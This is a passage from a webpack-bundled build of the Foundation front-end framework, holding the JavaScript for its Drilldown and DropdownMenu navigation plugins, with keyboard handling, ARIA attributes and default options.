jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(_this.$element[0], e.target)) {\n return;\n }\n\n e.preventDefault();\n\n _this._hideAll();\n\n $body.off('.zf.drilldown');\n });\n }\n });\n }\n /**\n * Adds event handlers to the menu element.\n * @function\n * @private\n */\n\n }, {\n key: \"_registerEvents\",\n value: function _registerEvents() {\n if (this.options.scrollTop) {\n this._bindHandler = this._scrollTop.bind(this);\n this.$element.on('open.zf.drilldown hide.zf.drilldown closed.zf.drilldown', this._bindHandler);\n }\n\n this.$element.on('mutateme.zf.trigger', this._resize.bind(this));\n }\n /**\n * Scroll to Top of Element or data-scroll-top-element\n * @function\n * @fires Drilldown#scrollme\n */\n\n }, {\n key: \"_scrollTop\",\n value: function _scrollTop() {\n var _this = this;\n\n var $scrollTopElement = _this.options.scrollTopElement != '' ? jquery__WEBPACK_IMPORTED_MODULE_0___default()(_this.options.scrollTopElement) : _this.$element,\n scrollPos = parseInt($scrollTopElement.offset().top + _this.options.scrollTopOffset, 10);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html, body').stop(true).animate({\n scrollTop: scrollPos\n }, _this.options.animationDuration, _this.options.animationEasing, function () {\n /**\n * Fires after the menu has scrolled\n * @event Drilldown#scrollme\n */\n if (this === jquery__WEBPACK_IMPORTED_MODULE_0___default()('html')[0]) _this.$element.trigger('scrollme.zf.drilldown');\n });\n }\n /**\n * Adds keydown event listener to `li`'s in the menu.\n * @private\n */\n\n }, {\n key: \"_keyboardEvents\",\n value: function _keyboardEvents() {\n var _this = this;\n\n this.$menuItems.add(this.$element.find('.js-drilldown-back > a, .is-submenu-parent-item > a')).on('keydown.zf.drilldown', function (e) {\n var $element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $elements = $element.parent('li').parent('ul').children('li').children('a'),\n $prevElement,\n $nextElement;\n $elements.each(function (i) {\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is($element)) {\n $prevElement = $elements.eq(Math.max(0, i - 1));\n $nextElement = $elements.eq(Math.min(i + 1, $elements.length - 1));\n return;\n }\n });\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__[\"Keyboard\"].handleKey(e, 'Drilldown', {\n next: function next() {\n if ($element.is(_this.$submenuAnchors)) {\n _this._show($element.parent('li'));\n\n $element.parent('li').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($element), function () {\n $element.parent('li').find('ul li a').not('.js-drilldown-back a').first().focus();\n });\n return true;\n }\n },\n previous: function previous() {\n _this._hide($element.parent('li').parent('ul'));\n\n $element.parent('li').parent('ul').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($element), function () {\n setTimeout(function () {\n $element.parent('li').parent('ul').parent('li').children('a').first().focus();\n }, 1);\n });\n return true;\n },\n up: function up() {\n $prevElement.focus(); // Don't tap focus on first element in root ul\n\n return !$element.is(_this.$element.find('> li:first-child > a'));\n },\n down: function down() {\n $nextElement.focus(); // Don't tap focus on last element in root ul\n\n return !$element.is(_this.$element.find('> li:last-child > a'));\n },\n close: function close() {\n // Don't close on element in root ul\n if (!$element.is(_this.$element.find('> li > a'))) {\n _this._hide($element.parent().parent());\n\n $element.parent().parent().siblings('a').focus();\n }\n },\n open: function open() {\n if (_this.options.parentLink && $element.attr('href')) {\n // Link with href\n return false;\n } else if (!$element.is(_this.$menuItems)) {\n // not menu item means back button\n _this._hide($element.parent('li').parent('ul'));\n\n $element.parent('li').parent('ul').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($element), function () {\n setTimeout(function () {\n $element.parent('li').parent('ul').parent('li').children('a').first().focus();\n }, 1);\n });\n return true;\n } else if ($element.is(_this.$submenuAnchors)) {\n // Sub menu item\n _this._show($element.parent('li'));\n\n $element.parent('li').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($element), function () {\n $element.parent('li').find('ul li a').not('.js-drilldown-back a').first().focus();\n });\n return true;\n }\n },\n handled: function handled(preventDefault) {\n if (preventDefault) {\n e.preventDefault();\n }\n\n e.stopImmediatePropagation();\n }\n });\n }); // end keyboardAccess\n }\n /**\n * Closes all open elements, and returns to root menu.\n * @function\n * @fires Drilldown#closed\n */\n\n }, {\n key: \"_hideAll\",\n value: function _hideAll() {\n var $elem = this.$element.find('.is-drilldown-submenu.is-active').addClass('is-closing');\n if (this.options.autoHeight) this.$wrapper.css({\n height: $elem.parent().closest('ul').data('calcHeight')\n });\n $elem.one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($elem), function (e) {\n $elem.removeClass('is-active is-closing');\n });\n /**\n * Fires when the menu is fully closed.\n * @event Drilldown#closed\n */\n\n this.$element.trigger('closed.zf.drilldown');\n }\n /**\n * Adds event listener for each `back` button, and closes open menus.\n * @function\n * @fires Drilldown#back\n * @param {jQuery} $elem - the current sub-menu to add `back` event.\n */\n\n }, {\n key: \"_back\",\n value: function _back($elem) {\n var _this = this;\n\n $elem.off('click.zf.drilldown');\n $elem.children('.js-drilldown-back').on('click.zf.drilldown', function (e) {\n e.stopImmediatePropagation(); // console.log('mouseup on back');\n\n _this._hide($elem); // If there is a parent submenu, call show\n\n\n var parentSubMenu = $elem.parent('li').parent('ul').parent('li');\n\n if (parentSubMenu.length) {\n _this._show(parentSubMenu);\n }\n });\n }\n /**\n * Adds event listener to menu items w/o submenus to close open menus on click.\n * @function\n * @private\n */\n\n }, {\n key: \"_menuLinkEvents\",\n value: function _menuLinkEvents() {\n var _this = this;\n\n this.$menuItems.not('.is-drilldown-submenu-parent').off('click.zf.drilldown').on('click.zf.drilldown', function (e) {\n // e.stopImmediatePropagation();\n setTimeout(function () {\n _this._hideAll();\n }, 0);\n });\n }\n /**\n * Sets the CSS classes for submenu to show it.\n * @function\n * @private\n * @param {jQuery} $elem - the target submenu (`ul` tag)\n * @param {boolean} trigger - trigger drilldown event\n */\n\n }, {\n key: \"_setShowSubMenuClasses\",\n value: function _setShowSubMenuClasses($elem, trigger) {\n $elem.addClass('is-active').removeClass('invisible').attr('aria-hidden', false);\n $elem.parent('li').attr('aria-expanded', true);\n\n if (trigger === true) {\n this.$element.trigger('open.zf.drilldown', [$elem]);\n }\n }\n /**\n * Sets the CSS classes for submenu to hide it.\n * @function\n * @private\n * @param {jQuery} $elem - the target submenu (`ul` tag)\n * @param {boolean} trigger - trigger drilldown event\n */\n\n }, {\n key: \"_setHideSubMenuClasses\",\n value: function _setHideSubMenuClasses($elem, trigger) {\n $elem.removeClass('is-active').addClass('invisible').attr('aria-hidden', true);\n $elem.parent('li').attr('aria-expanded', false);\n\n if (trigger === true) {\n $elem.trigger('hide.zf.drilldown', [$elem]);\n }\n }\n /**\n * Opens a specific drilldown (sub)menu no matter which (sub)menu in it is currently visible.\n * Compared to _show() this lets you jump into any submenu without clicking through every submenu on the way to it.\n * @function\n * @fires Drilldown#open\n * @param {jQuery} $elem - the target (sub)menu (`ul` tag)\n * @param {boolean} autoFocus - if true the first link in the target (sub)menu gets auto focused\n */\n\n }, {\n key: \"_showMenu\",\n value: function _showMenu($elem, autoFocus) {\n var _this = this; // Reset drilldown\n\n\n var $expandedSubmenus = this.$element.find('li[aria-expanded=\"true\"] > ul[data-submenu]');\n $expandedSubmenus.each(function (index) {\n _this._setHideSubMenuClasses(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this));\n }); // Save the menu as the currently displayed one.\n\n this.$currentMenu = $elem; // If target menu is root, focus first link & exit\n\n if ($elem.is('[data-drilldown]')) {\n if (autoFocus === true) $elem.find('li[role=\"treeitem\"] > a').first().focus();\n if (this.options.autoHeight) this.$wrapper.css('height', $elem.data('calcHeight'));\n return;\n } // Find all submenus on way to root incl. the element itself\n\n\n var $submenus = $elem.children().first().parentsUntil('[data-drilldown]', '[data-submenu]'); // Open target menu and all submenus on its way to root\n\n $submenus.each(function (index) {\n // Update height of first child (target menu) if autoHeight option true\n if (index === 0 && _this.options.autoHeight) {\n _this.$wrapper.css('height', jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('calcHeight'));\n }\n\n var isLastChild = index == $submenus.length - 1; // Add transitionsend listener to last child (root due to reverse order) to open target menu's first link\n // Last child makes sure the event gets always triggered even if going through several menus\n\n if (isLastChild === true) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this)), function () {\n if (autoFocus === true) {\n $elem.find('li[role=\"treeitem\"] > a').first().focus();\n }\n });\n }\n\n _this._setShowSubMenuClasses(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), isLastChild);\n });\n }\n /**\n * Opens a submenu.\n * @function\n * @fires Drilldown#open\n * @param {jQuery} $elem - the current element with a submenu to open, i.e. the `li` tag.\n */\n\n }, {\n key: \"_show\",\n value: function _show($elem) {\n var $submenu = $elem.children('[data-submenu]');\n $elem.attr('aria-expanded', true);\n this.$currentMenu = $submenu;\n $submenu.addClass('is-active').removeClass('invisible').attr('aria-hidden', false);\n\n if (this.options.autoHeight) {\n this.$wrapper.css({\n height: $submenu.data('calcHeight')\n });\n }\n /**\n * Fires when the submenu has opened.\n * @event Drilldown#open\n */\n\n\n this.$element.trigger('open.zf.drilldown', [$elem]);\n }\n /**\n * Hides a submenu\n * @function\n * @fires Drilldown#hide\n * @param {jQuery} $elem - the current sub-menu to hide, i.e. the `ul` tag.\n */\n\n }, {\n key: \"_hide\",\n value: function _hide($elem) {\n if (this.options.autoHeight) this.$wrapper.css({\n height: $elem.parent().closest('ul').data('calcHeight')\n });\n\n var _this = this;\n\n $elem.parent('li').attr('aria-expanded', false);\n $elem.attr('aria-hidden', true);\n $elem.addClass('is-closing').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($elem), function () {\n $elem.removeClass('is-active is-closing');\n $elem.blur().addClass('invisible');\n });\n /**\n * Fires when the submenu has closed.\n * @event Drilldown#hide\n */\n\n $elem.trigger('hide.zf.drilldown', [$elem]);\n }\n /**\n * Iterates through the nested menus to calculate the min-height, and max-width for the menu.\n * Prevents content jumping.\n * @function\n * @private\n */\n\n }, {\n key: \"_getMaxDims\",\n value: function _getMaxDims() {\n var maxHeight = 0,\n result = {},\n _this = this; // Recalculate menu heights and total max height\n\n\n this.$submenus.add(this.$element).each(function () {\n var numOfElems = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('li').length;\n var height = _foundation_util_box__WEBPACK_IMPORTED_MODULE_4__[\"Box\"].GetDimensions(this).height;\n maxHeight = height > maxHeight ? height : maxHeight;\n\n if (_this.options.autoHeight) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('calcHeight', height);\n }\n });\n if (this.options.autoHeight) result['height'] = this.$currentMenu.data('calcHeight');else result['min-height'] = \"\".concat(maxHeight, \"px\");\n result['max-width'] = \"\".concat(this.$element[0].getBoundingClientRect().width, \"px\");\n return result;\n }\n /**\n * Destroys the Drilldown Menu\n * @function\n */\n\n }, {\n key: \"_destroy\",\n value: function _destroy() {\n if (this.options.scrollTop) this.$element.off('.zf.drilldown', this._bindHandler);\n\n this._hideAll();\n\n this.$element.off('mutateme.zf.trigger');\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__[\"Nest\"].Burn(this.$element, 'drilldown');\n this.$element.unwrap().find('.js-drilldown-back, .is-submenu-parent-item').remove().end().find('.is-active, .is-closing, .is-drilldown-submenu').removeClass('is-active is-closing is-drilldown-submenu').end().find('[data-submenu]').removeAttr('aria-hidden tabindex role');\n this.$submenuAnchors.each(function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).off('.zf.drilldown');\n });\n this.$element.find('[data-is-parent-link]').detach();\n this.$submenus.removeClass('drilldown-submenu-cover-previous invisible');\n this.$element.find('a').each(function () {\n var $link = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this);\n $link.removeAttr('tabindex');\n\n if ($link.data('savedHref')) {\n $link.attr('href', $link.data('savedHref')).removeData('savedHref');\n } else {\n return;\n }\n });\n }\n }]);\n\n return Drilldown;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__[\"Plugin\"]);\n\nDrilldown.defaults = {\n /**\n * Drilldowns depend on styles in order to function properly; in the default build of Foundation these are\n * on the `drilldown` class. This option auto-applies this class to the drilldown upon initialization.\n * @option\n * @type {boolian}\n * @default true\n */\n autoApplyClass: true,\n\n /**\n * Markup used for JS generated back button. Prepended or appended (see backButtonPosition) to submenu lists and deleted on `destroy` method, 'js-drilldown-back' class required. Remove the backslash (`\\`) if copy and pasting.\n * @option\n * @type {string}\n * @default '
  • Back
  • '\n */\n backButton: '
  • Back
  • ',\n\n /**\n * Position the back button either at the top or bottom of drilldown submenus. Can be `'left'` or `'bottom'`.\n * @option\n * @type {string}\n * @default top\n */\n backButtonPosition: 'top',\n\n /**\n * Markup used to wrap drilldown menu. Use a class name for independent styling; the JS applied class: `is-drilldown` is required. Remove the backslash (`\\`) if copy and pasting.\n * @option\n * @type {string}\n * @default '
    '\n */\n wrapper: '
    ',\n\n /**\n * Adds the parent link to the submenu.\n * @option\n * @type {boolean}\n * @default false\n */\n parentLink: false,\n\n /**\n * Allow the menu to return to root list on body click.\n * @option\n * @type {boolean}\n * @default false\n */\n closeOnClick: false,\n\n /**\n * Allow the menu to auto adjust height.\n * @option\n * @type {boolean}\n * @default false\n */\n autoHeight: false,\n\n /**\n * Animate the auto adjust height.\n * @option\n * @type {boolean}\n * @default false\n */\n animateHeight: false,\n\n /**\n * Scroll to the top of the menu after opening a submenu or navigating back using the menu back button\n * @option\n * @type {boolean}\n * @default false\n */\n scrollTop: false,\n\n /**\n * String jquery selector (for example 'body') of element to take offset().top from, if empty string the drilldown menu offset().top is taken\n * @option\n * @type {string}\n * @default ''\n */\n scrollTopElement: '',\n\n /**\n * ScrollTop offset\n * @option\n * @type {number}\n * @default 0\n */\n scrollTopOffset: 0,\n\n /**\n * Scroll animation duration\n * @option\n * @type {number}\n * @default 500\n */\n animationDuration: 500,\n\n /**\n * Scroll animation easing. Can be `'swing'` or `'linear'`.\n * @option\n * @type {string}\n * @see {@link https://api.jquery.com/animate|JQuery animate}\n * @default 'swing'\n */\n animationEasing: 'swing' // holdOpen: false\n\n};\n\n\n//# sourceURL=webpack:///./js/foundation.drilldown.js?")},"./js/foundation.dropdownMenu.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"DropdownMenu\", function() { return DropdownMenu; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_nest__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.nest */ \"./js/foundation.util.nest.js\");\n/* harmony import */ var _foundation_util_box__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.util.box */ \"./js/foundation.util.box.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n\n/**\n * DropdownMenu module.\n * @module foundation.dropdown-menu\n * @requires foundation.util.keyboard\n * @requires foundation.util.box\n * @requires foundation.util.nest\n */\n\nvar DropdownMenu =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(DropdownMenu, _Plugin);\n\n function DropdownMenu() {\n _classCallCheck(this, DropdownMenu);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(DropdownMenu).apply(this, arguments));\n }\n\n _createClass(DropdownMenu, [{\n key: \"_setup\",\n\n /**\n * Creates a new instance of DropdownMenu.\n * @class\n * @name DropdownMenu\n * @fires DropdownMenu#init\n * @param {jQuery} element - jQuery object to make into a dropdown menu.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, DropdownMenu.defaults, this.$element.data(), options);\n this.className = 'DropdownMenu'; // ie9 back compat\n\n this._init();\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__[\"Keyboard\"].register('DropdownMenu', {\n 'ENTER': 'open',\n 'SPACE': 'open',\n 'ARROW_RIGHT': 'next',\n 'ARROW_UP': 'up',\n 'ARROW_DOWN': 'down',\n 'ARROW_LEFT': 'previous',\n 'ESCAPE': 'close'\n });\n }\n /**\n * Initializes the plugin, and calls _prepareMenu\n * @private\n * @function\n */\n\n }, {\n key: \"_init\",\n value: function _init() {\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_4__[\"Nest\"].Feather(this.$element, 'dropdown');\n var subs = this.$element.find('li.is-dropdown-submenu-parent');\n this.$element.children('.is-dropdown-submenu-parent').children('.is-dropdown-submenu').addClass('first-sub');\n this.$menuItems = this.$element.find('[role=\"menuitem\"]');\n this.$tabs = this.$element.children('[role=\"menuitem\"]');\n this.$tabs.find('ul.is-dropdown-submenu').addClass(this.options.verticalClass);\n\n if (this.options.alignment === 'auto') {\n if (this.$element.hasClass(this.options.rightClass) || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__[\"rtl\"])() || this.$element.parents('.top-bar-right').is('*')) {\n this.options.alignment = 'right';\n subs.addClass('opens-left');\n } else {\n this.options.alignment = 'left';\n subs.addClass('opens-right');\n }\n } else {\n if (this.options.alignment === 'right') {\n subs.addClass('opens-left');\n } else {\n subs.addClass('opens-right');\n }\n }\n\n this.changed = false;\n\n this._events();\n }\n }, {\n key: \"_isVertical\",\n value: function _isVertical() {\n return this.$tabs.css('display') === 'block' || this.$element.css('flex-direction') === 'column';\n }\n }, {\n key: \"_isRtl\",\n value: function _isRtl() {\n return this.$element.hasClass('align-right') || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__[\"rtl\"])() && !this.$element.hasClass('align-left');\n }\n /**\n * Adds event listeners to elements within the menu\n * @private\n * @function\n */\n\n }, {\n key: \"_events\",\n value: function _events() {\n var _this = this,\n hasTouch = 'ontouchstart' in window || typeof window.ontouchstart !== 'undefined',\n parClass = 'is-dropdown-submenu-parent'; // used for onClick and in the keyboard handlers\n\n\n var handleClickFn = function handleClickFn(e) {\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target).parentsUntil('ul', \".\".concat(parClass)),\n hasSub = $elem.hasClass(parClass),\n hasClicked = $elem.attr('data-is-click') === 'true',\n $sub = $elem.children('.is-dropdown-submenu');\n\n if (hasSub) {\n if (hasClicked) {\n if (!_this.options.closeOnClick || !_this.options.clickOpen && !hasTouch || _this.options.forceFollow && hasTouch) {\n return;\n } else {\n e.stopImmediatePropagation();\n e.preventDefault();\n\n _this._hide($elem);\n }\n } else {\n e.preventDefault();\n e.stopImmediatePropagation();\n\n _this._show($sub);\n\n $elem.add($elem.parentsUntil(_this.$element, \".\".concat(parClass))).attr('data-is-click', true);\n }\n }\n };\n\n if (this.options.clickOpen || hasTouch) {\n this.$menuItems.on('click.zf.dropdownmenu touchstart.zf.dropdownmenu', handleClickFn);\n } // Handle Leaf element Clicks\n\n\n if (_this.options.closeOnClickInside) {\n this.$menuItems.on('click.zf.dropdownmenu', function (e) {\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n hasSub = $elem.hasClass(parClass);\n\n if (!hasSub) {\n _this._hide();\n }\n });\n }\n\n if (!this.options.disableHover) {\n this.$menuItems.on('mouseenter.zf.dropdownmenu', function (e) {\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n hasSub = $elem.hasClass(parClass);\n\n if (hasSub) {\n clearTimeout($elem.data('_delay'));\n $elem.data('_delay', setTimeout(function () {\n _this._show($elem.children('.is-dropdown-submenu'));\n }, _this.options.hoverDelay));\n }\n }).on('mouseleave.zf.dropdownMenu', Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__[\"ignoreMousedisappear\"])(function (e) {\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n hasSub = $elem.hasClass(parClass);\n\n if (hasSub && _this.options.autoclose) {\n if ($elem.attr('data-is-click') === 'true' && _this.options.clickOpen) {\n return false;\n }\n\n clearTimeout($elem.data('_delay'));\n $elem.data('_delay', setTimeout(function () {\n _this._hide($elem);\n }, _this.options.closingTime));\n }\n }));\n }\n\n this.$menuItems.on('keydown.zf.dropdownmenu', function (e) {\n var $element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target).parentsUntil('ul', '[role=\"menuitem\"]'),\n isTab = _this.$tabs.index($element) > -1,\n $elements = isTab ? _this.$tabs : $element.siblings('li').add($element),\n $prevElement,\n $nextElement;\n $elements.each(function (i) {\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is($element)) {\n $prevElement = $elements.eq(i - 1);\n $nextElement = $elements.eq(i + 1);\n return;\n }\n });\n\n var nextSibling = function nextSibling() {\n $nextElement.children('a:first').focus();\n e.preventDefault();\n },\n prevSibling = function prevSibling() {\n $prevElement.children('a:first').focus();\n e.preventDefault();\n },\n openSub = function openSub() {\n var $sub = $element.children('ul.is-dropdown-submenu');\n\n if ($sub.length) {\n _this._show($sub);\n\n $element.find('li > a:first').focus();\n e.preventDefault();\n } else {\n return;\n }\n },\n closeSub = function closeSub() {\n //if ($element.is(':first-child')) {\n var close = $element.parent('ul').parent('li');\n close.children('a:first').focus();\n\n _this._hide(close);\n\n e.preventDefault(); //}\n };\n\n var functions = {\n open: openSub,\n close: function close() {\n _this._hide(_this.$element);\n\n _this.$menuItems.eq(0).children('a').focus(); // focus to first element\n\n\n e.preventDefault();\n },\n handled: function handled() {\n e.stopImmediatePropagation();\n }\n };\n\n if (isTab) {\n if (_this._isVertical()) {\n // vertical menu\n if (_this._isRtl()) {\n // right aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n down: nextSibling,\n up: prevSibling,\n next: closeSub,\n previous: openSub\n });\n } else {\n // left aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n down: nextSibling,\n up: prevSibling,\n next: openSub,\n previous: closeSub\n });\n }\n } else {\n // horizontal menu\n if (_this._isRtl()) {\n // right aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n next: prevSibling,\n previous: nextSibling,\n down: openSub,\n up: closeSub\n });\n } else {\n // left aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n next: nextSibling,\n previous: prevSibling,\n down: openSub,\n up: closeSub\n });\n }\n }\n } else {\n // not tabs -> one sub\n if (_this._isRtl()) {\n // right aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n next: closeSub,\n previous: openSub,\n down: nextSibling,\n up: prevSibling\n });\n } else {\n // left aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n next: openSub,\n previous: closeSub,\n down: nextSibling,\n up: prevSibling\n });\n }\n }\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__[\"Keyboard\"].handleKey(e, 'DropdownMenu', functions);\n });\n }\n /**\n * Adds an event handler to the body to close any dropdowns on a click.\n * @function\n * @private\n */\n\n }, {\n key: \"_addBodyHandler\",\n value: function _addBodyHandler() {\n var $body = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.body),\n _this = this;\n\n $body.off('mouseup.zf.dropdownmenu touchend.zf.dropdownmenu').on('mouseup.zf.dropdownmenu touchend.zf.dropdownmenu', function (e) {\n var $link = _this.$element.find(e.target);\n\n if ($link.length) {\n return;\n }\n\n _this._hide();\n\n $body.off('mouseup.zf.dropdownmenu touchend.zf.dropdownmenu');\n });\n }\n /**\n * Opens a dropdown pane, and checks for collisions first.\n * @param {jQuery} $sub - ul element that is a submenu to show\n * @function\n * @private\n * @fires Dropdownmenu#show\n */\n\n }, {\n key: \"_show\",\n value: function _show($sub) {\n var idx = this.$tabs.index(this.$tabs.filter(function (i, el) {\n return jquery__WEBPACK_IMPORTED_MODULE_0___default()(el).find($sub).length > 0;\n }));\n var $sibs = $sub.parent('li.is-dropdown-submenu-parent').siblings('li.is-dropdown-submenu-parent');\n\n this._hide($sibs, idx);\n\n $sub.css('visibility', 'hidden').addClass('js-dropdown-active').parent('li.is-dropdown-submenu-parent').addClass('is-active');\n var clear = _foundation_util_box__WEBPACK_IMPORTED_MODULE_5__[\"Box\"].ImNotTouchingYou($sub, null, true);\n\n if (!clear) {\n var oldClass = this.options.alignment === 'left' ? '-right' : '-left',\n $parentLi = $sub.parent('.is-dropdown-submenu-parent');\n $parentLi.removeClass(\"opens\".concat(oldClass)).addClass(\"opens-\".concat(this.options.alignment));\n clear = _foundation_util_box__WEBPACK_IMPORTED_MODULE_5__[\"Box\"].ImNotTouchingYou($sub, null, true);\n\n if (!clear) {\n $parentLi.removeClass(\"opens-\".concat(this.options.alignment)).addClass('opens-inner');\n }\n\n this.changed = true;\n }\n\n $sub.css('visibility', '');\n\n if (this.options.closeOnClick) {\n this._addBodyHandler();\n }\n /**\n * Fires when the new dropdown pane is visible.\n * @event Dropdownmenu#show\n */\n\n\n this.$element.trigger('show.zf.dropdownmenu', [$sub]);\n }\n /**\n * Hides a single, currently open dropdown pane, if passed a parameter, otherwise, hides everything.\n * @function\n * @param {jQuery} $elem - element with a submenu to hide\n * @param {Number} idx - index of the $tabs collection to hide\n * @private\n */\n\n }, {\n key: \"_hide\",\n value: function _hide($elem, idx) {\n var $toClose;\n\n if ($elem && $elem.length) {\n $toClose = $elem;\n } else if (typeof idx !== 'undefined') {\n $toClose = this.$tabs.not(function (i, el) {\n return i === idx;\n });\n } else {\n $toClose = this.$element;\n }\n\n var somethingToClose = $toClose.hasClass('is-active') || $toClose.find('.is-active').length > 0;\n\n if (somethingToClose) {\n $toClose.find('li.is-active').add($toClose).attr({\n 'data-is-click': false\n }).removeClass('is-active');\n $toClose.find('ul.js-dropdown-active').removeClass('js-dropdown-active');\n\n if (this.changed || $toClose.find('opens-inner').length) {\n var oldClass = this.options.alignment === 'left' ? 'right' : 'left';\n $toClose.find('li.is-dropdown-submenu-parent').add($toClose).removeClass(\"opens-inner opens-\".concat(this.options.alignment)).addClass(\"opens-\".concat(oldClass));\n this.changed = false;\n }\n /**\n * Fires when the open menus are closed.\n * @event Dropdownmenu#hide\n */\n\n\n this.$element.trigger('hide.zf.dropdownmenu', [$toClose]);\n }\n }\n /**\n * Destroys the plugin.\n * @function\n */\n\n }, {\n key: \"_destroy\",\n value: function _destroy() {\n this.$menuItems.off('.zf.dropdownmenu').removeAttr('data-is-click').removeClass('is-right-arrow is-left-arrow is-down-arrow opens-right opens-left opens-inner');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.body).off('.zf.dropdownmenu');\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_4__[\"Nest\"].Burn(this.$element, 'dropdown');\n }\n }]);\n\n return DropdownMenu;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__[\"Plugin\"]);\n/**\n * Default settings for plugin\n 